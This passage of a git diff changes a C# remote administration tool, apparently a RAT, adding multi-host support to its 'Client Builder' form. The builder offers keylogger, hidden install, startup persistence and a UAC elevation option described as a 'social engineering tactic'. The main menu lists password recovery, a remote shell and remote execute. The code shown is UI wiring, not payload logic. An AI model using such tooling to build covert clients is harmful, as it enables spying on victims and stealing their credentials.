this.lblInstallpath.TabIndex = 2; + this.lblInstallpath.Text = "Install Path:"; + // + // lblInstallsub + // + this.lblInstallsub.AutoSize = true; + this.lblInstallsub.Location = new System.Drawing.Point(17, 126); + this.lblInstallsub.Name = "lblInstallsub"; + this.lblInstallsub.Size = new System.Drawing.Size(95, 13); + this.lblInstallsub.TabIndex = 6; + this.lblInstallsub.Text = "Install Subfolder:"; + // + // lblExamplePath + // + this.lblExamplePath.AutoSize = true; + this.lblExamplePath.Location = new System.Drawing.Point(17, 218); + this.lblExamplePath.Name = "lblExamplePath"; + this.lblExamplePath.Size = new System.Drawing.Size(267, 13); + this.lblExamplePath.TabIndex = 12; + this.lblExamplePath.Text = "This is the path for the installation on your system."; + // + // txtInstallsub + // + this.txtInstallsub.Location = new System.Drawing.Point(182, 123); + this.txtInstallsub.Name = "txtInstallsub"; + this.txtInstallsub.Size = new System.Drawing.Size(201, 22); + this.txtInstallsub.TabIndex = 7; + this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); + // + // txtExamplePath + // + this.txtExamplePath.Location = new System.Drawing.Point(20, 234); + this.txtExamplePath.Name = "txtExamplePath"; + this.txtExamplePath.ReadOnly = true; + this.txtExamplePath.Size = new System.Drawing.Size(363, 22); + this.txtExamplePath.TabIndex = 13; + this.txtExamplePath.TabStop = false; + // // assemblyPage // this.assemblyPage.BackColor = System.Drawing.SystemColors.Control; + this.assemblyPage.Controls.Add(this.line8); + this.assemblyPage.Controls.Add(this.label11); this.assemblyPage.Controls.Add(this.chkChangeAsmInfo); this.assemblyPage.Controls.Add(this.txtFileVersion); this.assemblyPage.Controls.Add(this.lblProductName); @@ -684,28 +776,278 @@ this.assemblyPage.Controls.Add(this.txtCopyright); this.assemblyPage.Location = new System.Drawing.Point(140, 4); this.assemblyPage.Name = "assemblyPage"; - this.assemblyPage.Size = new System.Drawing.Size(332, 309); + this.assemblyPage.Size = new System.Drawing.Size(391, 370); this.assemblyPage.TabIndex = 2; this.assemblyPage.Text = "Assembly Information"; // + // line8 + // + this.line8.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line8.Location = new System.Drawing.Point(122, 5); + this.line8.Name = "line8"; + this.line8.Size = new System.Drawing.Size(261, 13); + this.line8.TabIndex = 36; + this.line8.TabStop = false; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(6, 5); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(118, 13); + this.label11.TabIndex = 35; + this.label11.Text = "Assembly Information"; + // + // chkChangeAsmInfo + // + this.chkChangeAsmInfo.AutoSize = true; + this.chkChangeAsmInfo.Location = new System.Drawing.Point(20, 21); + this.chkChangeAsmInfo.Name = "chkChangeAsmInfo"; + this.chkChangeAsmInfo.Size = new System.Drawing.Size(180, 17); + this.chkChangeAsmInfo.TabIndex = 0; + this.chkChangeAsmInfo.Text = "Change Assembly Information"; + this.chkChangeAsmInfo.UseVisualStyleBackColor = true; + this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); + // + // txtFileVersion + // + this.txtFileVersion.Location = new System.Drawing.Point(182, 240); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(201, 22); + this.txtFileVersion.TabIndex = 16; + this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(17, 47); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(82, 13); + this.lblProductName.TabIndex = 1; + this.lblProductName.Text = "Product Name:"; + // + // lblFileVersion + // + this.lblFileVersion.AutoSize = true; + this.lblFileVersion.Location = new System.Drawing.Point(17, 243); + this.lblFileVersion.Name = "lblFileVersion"; + this.lblFileVersion.Size = new System.Drawing.Size(70, 13); + this.lblFileVersion.TabIndex = 15; + this.lblFileVersion.Text = "File Version:"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(182, 44); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(201, 22); + this.txtProductName.TabIndex = 2; + this.txtProductName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtProductVersion + // + this.txtProductVersion.Location = new System.Drawing.Point(182, 212); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(201, 22); + this.txtProductVersion.TabIndex = 14; + this.txtProductVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Location = new System.Drawing.Point(17, 75); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(69, 13); + this.lblDescription.TabIndex = 3; + this.lblDescription.Text = "Description:"; + // + // lblProductVersion + // + this.lblProductVersion.AutoSize = true; + this.lblProductVersion.Location = new System.Drawing.Point(17, 215); + this.lblProductVersion.Name = "lblProductVersion"; + this.lblProductVersion.Size = new System.Drawing.Size(92, 13); + this.lblProductVersion.TabIndex = 13; + this.lblProductVersion.Text = "Product Version:"; + // + // txtDescription + // + this.txtDescription.Location = new System.Drawing.Point(182, 72); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(201, 22); + this.txtDescription.TabIndex = 4; + this.txtDescription.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtOriginalFilename + // + this.txtOriginalFilename.Location = new System.Drawing.Point(182, 184); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22); + this.txtOriginalFilename.TabIndex = 12; + this.txtOriginalFilename.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCompanyName + // + this.lblCompanyName.AutoSize = true; + this.lblCompanyName.Location = new System.Drawing.Point(17, 103); + this.lblCompanyName.Name = "lblCompanyName"; + this.lblCompanyName.Size = new System.Drawing.Size(90, 13); + this.lblCompanyName.TabIndex = 5; + this.lblCompanyName.Text = "Company Name:"; + // + // lblOriginalFilename + // + this.lblOriginalFilename.AutoSize = true; + this.lblOriginalFilename.Location = new System.Drawing.Point(17, 187); + this.lblOriginalFilename.Name = "lblOriginalFilename"; + this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13); + this.lblOriginalFilename.TabIndex = 11; + this.lblOriginalFilename.Text = "Original Filename:"; + // + // txtCompanyName + // + this.txtCompanyName.Location = new System.Drawing.Point(182, 100); + this.txtCompanyName.Name = "txtCompanyName"; + this.txtCompanyName.Size = new System.Drawing.Size(201, 22); + this.txtCompanyName.TabIndex = 6; + this.txtCompanyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtTrademarks + // + this.txtTrademarks.Location = new System.Drawing.Point(182, 156); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(201, 22); + this.txtTrademarks.TabIndex = 10; + this.txtTrademarks.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCopyright + // + this.lblCopyright.AutoSize = true; + this.lblCopyright.Location = new System.Drawing.Point(17, 131); + this.lblCopyright.Name = "lblCopyright"; + this.lblCopyright.Size = new System.Drawing.Size(61, 13); + this.lblCopyright.TabIndex = 7; + this.lblCopyright.Text = "Copyright:"; + // + // lblTrademarks + // + this.lblTrademarks.AutoSize = true; + this.lblTrademarks.Location = new System.Drawing.Point(17, 159); + this.lblTrademarks.Name = "lblTrademarks"; + this.lblTrademarks.Size = new System.Drawing.Size(68, 13); + this.lblTrademarks.TabIndex = 9; + this.lblTrademarks.Text = "Trademarks:"; + // + // txtCopyright + // + this.txtCopyright.Location = new System.Drawing.Point(182, 128); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(201, 22); + this.txtCopyright.TabIndex = 8; + this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); + // // additionalTab // this.additionalTab.BackColor = System.Drawing.SystemColors.Control; + this.additionalTab.Controls.Add(this.line10); + this.additionalTab.Controls.Add(this.label14); + this.additionalTab.Controls.Add(this.label13); + this.additionalTab.Controls.Add(this.line9); + this.additionalTab.Controls.Add(this.label12); this.additionalTab.Controls.Add(this.chkKeylogger); this.additionalTab.Controls.Add(this.chkElevation); this.additionalTab.Controls.Add(this.chkIconChange); this.additionalTab.Location = new System.Drawing.Point(140, 4); this.additionalTab.Name = "additionalTab"; - this.additionalTab.Size = new System.Drawing.Size(332, 309); + this.additionalTab.Size = new System.Drawing.Size(391, 370); this.additionalTab.TabIndex = 3; this.additionalTab.Text = "Additional Settings"; // + // line10 + // + this.line10.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line10.Location = new System.Drawing.Point(83, 77); + this.line10.Name = "line10"; + this.line10.Size = new System.Drawing.Size(300, 13); + this.line10.TabIndex = 41; + this.line10.TabStop = false; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(6, 77); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(80, 13); + this.label14.TabIndex = 3; + this.label14.Text = "Miscellaneous"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(20, 21); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(317, 13); + this.label13.TabIndex = 1; + this.label13.Text = "You will be asked to choose the icon when building a client."; + // + // line9 + // + this.line9.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line9.Location = new System.Drawing.Point(33, 5); + this.line9.Name = "line9"; + this.line9.Size = new System.Drawing.Size(350, 13); + this.line9.TabIndex = 38; + this.line9.TabStop = false; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(6, 5); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(29, 13); + this.label12.TabIndex = 0; + this.label12.Text = "Icon"; + // + // chkKeylogger + // + this.chkKeylogger.AutoSize = true; + this.chkKeylogger.Location = new System.Drawing.Point(23, 96); + this.chkKeylogger.Name = "chkKeylogger"; + this.chkKeylogger.Size = new System.Drawing.Size(115, 17); + this.chkKeylogger.TabIndex = 4; + this.chkKeylogger.Text = "Enable Keylogger"; + this.chkKeylogger.UseVisualStyleBackColor = true; + this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // chkElevation + // + this.chkElevation.AutoSize = true; + this.chkElevation.Location = new System.Drawing.Point(23, 119); + this.chkElevation.Name = "chkElevation"; + this.chkElevation.Size = new System.Drawing.Size(147, 17); + this.chkElevation.TabIndex = 5; + this.chkElevation.Text = "Enable Admin Elevation"; + this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); + this.chkElevation.UseVisualStyleBackColor = true; + this.chkElevation.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // chkIconChange + // + this.chkIconChange.AutoSize = true; + this.chkIconChange.Location = new System.Drawing.Point(23, 39); + this.chkIconChange.Name = "chkIconChange"; + this.chkIconChange.Size = new System.Drawing.Size(91, 17); + this.chkIconChange.TabIndex = 2; + this.chkIconChange.Text = "Change Icon"; + this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); + this.chkIconChange.UseVisualStyleBackColor = true; + this.chkIconChange.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // // FrmBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.Control; - this.ClientSize = new System.Drawing.Size(476, 358); + this.ClientSize = new System.Drawing.Size(535, 419); this.Controls.Add(this.builderTabs); this.Controls.Add(this.btnBuild); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); @@ -718,13 +1060,16 @@ this.Text = "Client Builder"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); this.Load += new System.EventHandler(this.FrmBuilder_Load); - ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); + this.ctxtMenuHosts.ResumeLayout(false); this.builderTabs.ResumeLayout(false); + this.generalPage.ResumeLayout(false); + this.generalPage.PerformLayout(); this.connectionPage.ResumeLayout(false); this.connectionPage.PerformLayout(); this.installationPage.ResumeLayout(false); this.installationPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); this.assemblyPage.ResumeLayout(false); this.assemblyPage.PerformLayout(); this.additionalTab.ResumeLayout(false); @@ -793,5 +1138,36 @@ private System.Windows.Forms.TabPage installationPage; private System.Windows.Forms.TabPage assemblyPage; private System.Windows.Forms.TabPage additionalTab; + private System.Windows.Forms.ListBox lstHosts; + private System.Windows.Forms.ContextMenuStrip ctxtMenuHosts; + private System.Windows.Forms.Button btnAddHost; + private System.Windows.Forms.ToolStripMenuItem ctxtRemove; + private Controls.Line line1; + private System.Windows.Forms.Label label1; + private Controls.Line line3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private Controls.Line line2; + private System.Windows.Forms.Label label2; + private Controls.Line line4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage generalPage; + private System.Windows.Forms.TextBox txtTag; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label lblTag; + private Controls.Line line5; + private System.Windows.Forms.Label label6; + private Controls.Line line6; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label9; + private Controls.Line line7; + private System.Windows.Forms.Label label10; + private Controls.Line line8; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label13; + private Controls.Line line9; + private System.Windows.Forms.Label label12; + private Controls.Line line10; + private System.Windows.Forms.Label label14; } } diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index 5fbcd005..343c8c04 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -1,9 +1,12 @@ using System; +using System.Collections.Generic; using System.IO; +using System.Linq; using System.Text.RegularExpressions; using System.Windows.Forms; using xServer.Core.Build; using xServer.Core.Helper; +using xServer.Core.Utilities; using xServer.Settings; namespace xServer.Forms @@ -12,6 +15,7 @@ namespace xServer.Forms { private bool _profileLoaded; private bool _changed; + private List _hosts = new List(); public FrmBuilder() { @@ -39,8 +43,9 @@ namespace xServer.Forms private void LoadProfile(string profilename) { ProfileManager pm = new ProfileManager(profilename + ".xml"); - txtHost.Text = pm.ReadValue("Hostname"); - txtPort.Text = pm.ReadValue("ListenPort"); + var rawHosts = pm.ReadValueSafe("Hosts"); + _hosts.AddRange(HostHelper.GetHostsList(rawHosts)); + lstHosts.DataSource = new BindingSource(_hosts, null); txtPassword.Text = pm.ReadValue("Password"); txtDelay.Text = pm.ReadValue("Delay"); txtMutex.Text = pm.ReadValue("Mutex"); @@ -69,8 +74,7 @@ namespace xServer.Forms private void SaveProfile(string profilename) { ProfileManager pm = new ProfileManager(profilename + ".xml"); - pm.WriteValue("Hostname", txtHost.Text); - pm.WriteValue("ListenPort", txtPort.Text); + pm.WriteValue("Hosts", HostHelper.GetRawHosts(_hosts)); pm.WriteValue("Password", txtPassword.Text); pm.WriteValue("Delay", txtDelay.Text); pm.WriteValue("Mutex", txtMutex.Text); @@ -122,6 +126,49 @@ namespace xServer.Forms } } + private void btnAddHost_Click(object sender, EventArgs e) + { + if (txtHost.Text.Length < 1 || txtPort.Text.Length < 1) return; + + HasChanged(); + + var host = txtHost.Text; + ushort port; + if (!ushort.TryParse(txtPort.Text, out port)) + { + MessageBox.Show("Please enter a valid port.", "Builder", + MessageBoxButtons.OK, MessageBoxIcon.Information); + return; + } + + _hosts.Add(new Host {Hostname = host, Port = port}); + lstHosts.DataSource = new BindingSource(_hosts, null); + + txtHost.Text = ""; + txtPort.Text = ""; + } + + private void ctxtRemove_Click(object sender, EventArgs e) + { + HasChanged(); + + List selected = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList(); + + foreach (var item in selected) + { + foreach (var host in _hosts) + { + if (item == host.ToString()) + { + _hosts.Remove(host); + break; + } + } + } + + lstHosts.DataSource = new BindingSource(_hosts, null); + } + private void chkShowPass_CheckedChanged(object sender, EventArgs e) { txtPassword.PasswordChar = (chkShowPass.Checked) ? '\0' : '•'; @@ -201,7 +248,7 @@ namespace xServer.Forms private void btnBuild_Click(object sender, EventArgs e) { - if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) && + if (lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtDelay.Text) && // Connection Information !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options !chkInstall.Checked || @@ -259,9 +306,9 @@ namespace xServer.Forms asmInfo[7] = txtFileVersion.Text; } - ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, + ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, - chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtPort.Text), + chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); diff --git a/Server/Forms/FrmBuilder.resx b/Server/Forms/FrmBuilder.resx index a4d0c42d..71e18bb0 100644 --- a/Server/Forms/FrmBuilder.resx +++ b/Server/Forms/FrmBuilder.resx @@ -120,6 +120,9 @@ 17, 17 + + 105, 17 + diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 0e6b0ff4..97492f63 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -67,7 +67,7 @@ namespace xServer.Forms this.nIcon = new System.Windows.Forms.NotifyIcon(this.components); this.lstClients = new xServer.Controls.AeroListView(); this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.hSocket = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hVersion = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -94,7 +94,7 @@ namespace xServer.Forms this.ctxtSurveillance, this.ctxtMiscellaneous}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(153, 114); + this.ctxtMenu.Size = new System.Drawing.Size(150, 92); // // ctxtConnection // @@ -105,14 +105,14 @@ namespace xServer.Forms this.ctxtUninstall}); this.ctxtConnection.Image = ((System.Drawing.Image)(resources.GetObject("ctxtConnection.Image"))); this.ctxtConnection.Name = "ctxtConnection"; - this.ctxtConnection.Size = new System.Drawing.Size(152, 22); + this.ctxtConnection.Size = new System.Drawing.Size(149, 22); this.ctxtConnection.Text = "Connection"; // // ctxtUpdate // this.ctxtUpdate.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUpdate.Image"))); this.ctxtUpdate.Name = "ctxtUpdate"; - this.ctxtUpdate.Size = new System.Drawing.Size(131, 22); + this.ctxtUpdate.Size = new System.Drawing.Size(133, 22); this.ctxtUpdate.Text = "Update"; this.ctxtUpdate.Click += new System.EventHandler(this.ctxtUpdate_Click); // @@ -120,7 +120,7 @@ namespace xServer.Forms // this.ctxtReconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtReconnect.Image"))); this.ctxtReconnect.Name = "ctxtReconnect"; - this.ctxtReconnect.Size = new System.Drawing.Size(131, 22); + this.ctxtReconnect.Size = new System.Drawing.Size(133, 22); this.ctxtReconnect.Text = "Reconnect"; this.ctxtReconnect.Click += new System.EventHandler(this.ctxtReconnect_Click); // @@ -128,7 +128,7 @@ namespace xServer.Forms // this.ctxtDisconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtDisconnect.Image"))); this.ctxtDisconnect.Name = "ctxtDisconnect"; - this.ctxtDisconnect.Size = new System.Drawing.Size(131, 22); + this.ctxtDisconnect.Size = new System.Drawing.Size(133, 22); this.ctxtDisconnect.Text = "Disconnect"; this.ctxtDisconnect.Click += new System.EventHandler(this.ctxtDisconnect_Click); // @@ -136,7 +136,7 @@ namespace xServer.Forms // this.ctxtUninstall.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUninstall.Image"))); this.ctxtUninstall.Name = "ctxtUninstall"; - this.ctxtUninstall.Size = new System.Drawing.Size(131, 22); + this.ctxtUninstall.Size = new System.Drawing.Size(133, 22); this.ctxtUninstall.Text = "Uninstall"; this.ctxtUninstall.Click += new System.EventHandler(this.ctxtUninstall_Click); // @@ -154,14 +154,14 @@ namespace xServer.Forms this.ctxtActions}); this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image"))); this.ctxtSystem.Name = "ctxtSystem"; - this.ctxtSystem.Size = new System.Drawing.Size(152, 22); + this.ctxtSystem.Size = new System.Drawing.Size(149, 22); this.ctxtSystem.Text = "System"; // // ctxtSystemInformation // this.ctxtSystemInformation.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystemInformation.Image"))); this.ctxtSystemInformation.Name = "ctxtSystemInformation"; - this.ctxtSystemInformation.Size = new System.Drawing.Size(173, 22); + this.ctxtSystemInformation.Size = new System.Drawing.Size(178, 22); this.ctxtSystemInformation.Text = "System Information"; this.ctxtSystemInformation.Click += new System.EventHandler(this.ctxtSystemInformation_Click); // @@ -169,7 +169,7 @@ namespace xServer.Forms // this.ctxtFileManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtFileManager.Image"))); this.ctxtFileManager.Name = "ctxtFileManager"; - this.ctxtFileManager.Size = new System.Drawing.Size(173, 22); + this.ctxtFileManager.Size = new System.Drawing.Size(178, 22); this.ctxtFileManager.Text = "File Manager"; this.ctxtFileManager.Click += new System.EventHandler(this.ctxtFileManager_Click); // @@ -177,7 +177,7 @@ namespace xServer.Forms // this.ctxtStartupManager.Image = global::xServer.Properties.Resources.startup_programs; this.ctxtStartupManager.Name = "ctxtStartupManager"; - this.ctxtStartupManager.Size = new System.Drawing.Size(173, 22); + this.ctxtStartupManager.Size = new System.Drawing.Size(178, 22); this.ctxtStartupManager.Text = "Startup Manager"; this.ctxtStartupManager.Click += new System.EventHandler(this.ctxtStartupManager_Click); // @@ -185,7 +185,7 @@ namespace xServer.Forms // this.ctxtTaskManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtTaskManager.Image"))); this.ctxtTaskManager.Name = "ctxtTaskManager"; - this.ctxtTaskManager.Size = new System.Drawing.Size(173, 22); + this.ctxtTaskManager.Size = new System.Drawing.Size(178, 22); this.ctxtTaskManager.Text = "Task Manager"; this.ctxtTaskManager.Click += new System.EventHandler(this.ctxtTaskManager_Click); // @@ -193,7 +193,7 @@ namespace xServer.Forms // this.ctxtRemoteShell.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteShell.Image"))); this.ctxtRemoteShell.Name = "ctxtRemoteShell"; - this.ctxtRemoteShell.Size = new System.Drawing.Size(173, 22); + this.ctxtRemoteShell.Size = new System.Drawing.Size(178, 22); this.ctxtRemoteShell.Text = "Remote Shell"; this.ctxtRemoteShell.Click += new System.EventHandler(this.ctxtRemoteShell_Click); // @@ -201,7 +201,7 @@ namespace xServer.Forms // this.ctxtReverseProxy.Image = global::xServer.Properties.Resources.server_link; this.ctxtReverseProxy.Name = "ctxtReverseProxy"; - this.ctxtReverseProxy.Size = new System.Drawing.Size(173, 22); + this.ctxtReverseProxy.Size = new System.Drawing.Size(178, 22); this.ctxtReverseProxy.Text = "Reverse Proxy"; this.ctxtReverseProxy.Click += new System.EventHandler(this.ctxtReverseProxy_Click); // @@ -210,14 +210,14 @@ namespace xServer.Forms this.ctxtRegistryEditor.Enabled = false; this.ctxtRegistryEditor.Image = global::xServer.Properties.Resources.registry; this.ctxtRegistryEditor.Name = "ctxtRegistryEditor"; - this.ctxtRegistryEditor.Size = new System.Drawing.Size(173, 22); + this.ctxtRegistryEditor.Size = new System.Drawing.Size(178, 22); this.ctxtRegistryEditor.Text = "Registry Editor"; this.ctxtRegistryEditor.Click += new System.EventHandler(this.ctxtRegistryEditor_Click); // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(170, 6); + this.ctxtLine.Size = new System.Drawing.Size(175, 6); // // ctxtActions // @@ -227,7 +227,7 @@ namespace xServer.Forms this.ctxtStandby}); this.ctxtActions.Image = global::xServer.Properties.Resources.actions; this.ctxtActions.Name = "ctxtActions"; - this.ctxtActions.Size = new System.Drawing.Size(173, 22); + this.ctxtActions.Size = new System.Drawing.Size(178, 22); this.ctxtActions.Text = "Actions"; // // ctxtShutdown @@ -262,14 +262,14 @@ namespace xServer.Forms this.ctxtKeylogger}); this.ctxtSurveillance.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSurveillance.Image"))); this.ctxtSurveillance.Name = "ctxtSurveillance"; - this.ctxtSurveillance.Size = new System.Drawing.Size(152, 22); + this.ctxtSurveillance.Size = new System.Drawing.Size(149, 22); this.ctxtSurveillance.Text = "Surveillance"; // // ctxtRemoteDesktop // this.ctxtRemoteDesktop.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteDesktop.Image"))); this.ctxtRemoteDesktop.Name = "ctxtRemoteDesktop"; - this.ctxtRemoteDesktop.Size = new System.Drawing.Size(171, 22); + this.ctxtRemoteDesktop.Size = new System.Drawing.Size(175, 22); this.ctxtRemoteDesktop.Text = "Remote Desktop"; this.ctxtRemoteDesktop.Click += new System.EventHandler(this.ctxtRemoteDesktop_Click); // @@ -277,7 +277,7 @@ namespace xServer.Forms // this.ctxtPasswordRecovery.Image = ((System.Drawing.Image)(resources.GetObject("ctxtPasswordRecovery.Image"))); this.ctxtPasswordRecovery.Name = "ctxtPasswordRecovery"; - this.ctxtPasswordRecovery.Size = new System.Drawing.Size(171, 22); + this.ctxtPasswordRecovery.Size = new System.Drawing.Size(175, 22); this.ctxtPasswordRecovery.Text = "Password Recovery"; this.ctxtPasswordRecovery.Click += new System.EventHandler(this.ctxtPasswordRecovery_Click); // @@ -285,7 +285,7 @@ namespace xServer.Forms // this.ctxtKeylogger.Image = global::xServer.Properties.Resources.logger; this.ctxtKeylogger.Name = "ctxtKeylogger"; - this.ctxtKeylogger.Size = new System.Drawing.Size(171, 22); + this.ctxtKeylogger.Size = new System.Drawing.Size(175, 22); this.ctxtKeylogger.Text = "Keylogger"; this.ctxtKeylogger.Click += new System.EventHandler(this.ctxtKeylogger_Click); // @@ -297,7 +297,7 @@ namespace xServer.Forms this.ctxtShowMessagebox}); this.ctxtMiscellaneous.Image = ((System.Drawing.Image)(resources.GetObject("ctxtMiscellaneous.Image"))); this.ctxtMiscellaneous.Name = "ctxtMiscellaneous"; - this.ctxtMiscellaneous.Size = new System.Drawing.Size(152, 22); + this.ctxtMiscellaneous.Size = new System.Drawing.Size(149, 22); this.ctxtMiscellaneous.Text = "Miscellaneous"; // // ctxtRemoteExecute @@ -307,14 +307,14 @@ namespace xServer.Forms this.ctxtWebFile}); this.ctxtRemoteExecute.Image = global::xServer.Properties.Resources.lightning; this.ctxtRemoteExecute.Name = "ctxtRemoteExecute"; - this.ctxtRemoteExecute.Size = new System.Drawing.Size(170, 22); + this.ctxtRemoteExecute.Size = new System.Drawing.Size(171, 22); this.ctxtRemoteExecute.Text = "Remote Execute"; // // ctxtLocalFile // this.ctxtLocalFile.Image = global::xServer.Properties.Resources.drive_go; this.ctxtLocalFile.Name = "ctxtLocalFile"; - this.ctxtLocalFile.Size = new System.Drawing.Size(130, 22); + this.ctxtLocalFile.Size = new System.Drawing.Size(132, 22); this.ctxtLocalFile.Text = "Local File..."; this.ctxtLocalFile.Click += new System.EventHandler(this.ctxtLocalFile_Click); // @@ -322,7 +322,7 @@ namespace xServer.Forms // this.ctxtWebFile.Image = global::xServer.Properties.Resources.world_go; this.ctxtWebFile.Name = "ctxtWebFile"; - this.ctxtWebFile.Size = new System.Drawing.Size(130, 22); + this.ctxtWebFile.Size = new System.Drawing.Size(132, 22); this.ctxtWebFile.Text = "Web File..."; this.ctxtWebFile.Click += new System.EventHandler(this.ctxtWebFile_Click); // @@ -330,7 +330,7 @@ namespace xServer.Forms // this.ctxtVisitWebsite.Image = ((System.Drawing.Image)(resources.GetObject("ctxtVisitWebsite.Image"))); this.ctxtVisitWebsite.Name = "ctxtVisitWebsite"; - this.ctxtVisitWebsite.Size = new System.Drawing.Size(170, 22); + this.ctxtVisitWebsite.Size = new System.Drawing.Size(171, 22); this.ctxtVisitWebsite.Text = "Visit Website"; this.ctxtVisitWebsite.Click += new System.EventHandler(this.ctxtVisitWebsite_Click); // @@ -338,7 +338,7 @@ namespace xServer.Forms // this.ctxtShowMessagebox.Image = ((System.Drawing.Image)(resources.GetObject("ctxtShowMessagebox.Image"))); this.ctxtShowMessagebox.Name = "ctxtShowMessagebox"; - this.ctxtShowMessagebox.Size = new System.Drawing.Size(170, 22); + 